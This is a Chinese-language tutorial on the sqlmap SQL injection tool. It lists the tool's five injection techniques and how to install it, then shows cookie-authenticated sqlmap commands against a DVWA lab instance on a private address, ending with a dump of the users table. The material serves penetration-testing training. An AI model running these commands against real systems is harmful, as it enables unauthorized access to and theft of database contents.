sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB。采用五种独特的SQL注入技术,分别是:
1)基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2)基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3)基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4)联合查询注入,可以使用union的情况下的注入。
5)堆查询注入,可以同时执行多条语句的执行时的注入。
安装很简单:
由于SQLMap是利用Python语言写的,所以需要将Python这个语言环境给安装上,以下是详细安装过程:
准备工作:
(1) Python2.7.11,下载地址:https://www.python.org/downloads/
(2) SQLMap,下载地址:http://sqlmap.org/
进入本次sqlmap的渗透用法:
可以看出需要登录,加上cookie:
sqlmap.py -u “http://192.168.124.13/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“security=low;PHPSESSID=k7bc386n0qiu56mjegpq2a4iu1” --batch
成功:可看到服务器配置信息,继续拿数据库信息;
sqlmap.py -u “http://192.168.124.13/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“security=low;PHPSESSID=k7bc386n0qiu56mjegpq2a4iu1” --batch --dbs
查看指定数据库并展示所有表:
sqlmap.py -u “http://192.168.124.13/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“security=low;PHPSESSID=k7bc386n0qiu56mjegpq2a4iu1” --batch -D dvwa --tables
查看指定数据库的指定表的所有列:
sqlmap.py -u “http://192.168.124.13/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“security=low;PHPSESSID=k7bc386n0qiu56mjegpq2a4iu1” --batch -D dvwa -T users --columns
查询指定列数据:
sqlmap.py -u “http://192.168.124.13/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“security=low;PHPSESSID=k7bc386n0qiu56mjegpq2a4iu1” --batch -D dvwa -T users -C user --dump
成功注出数据。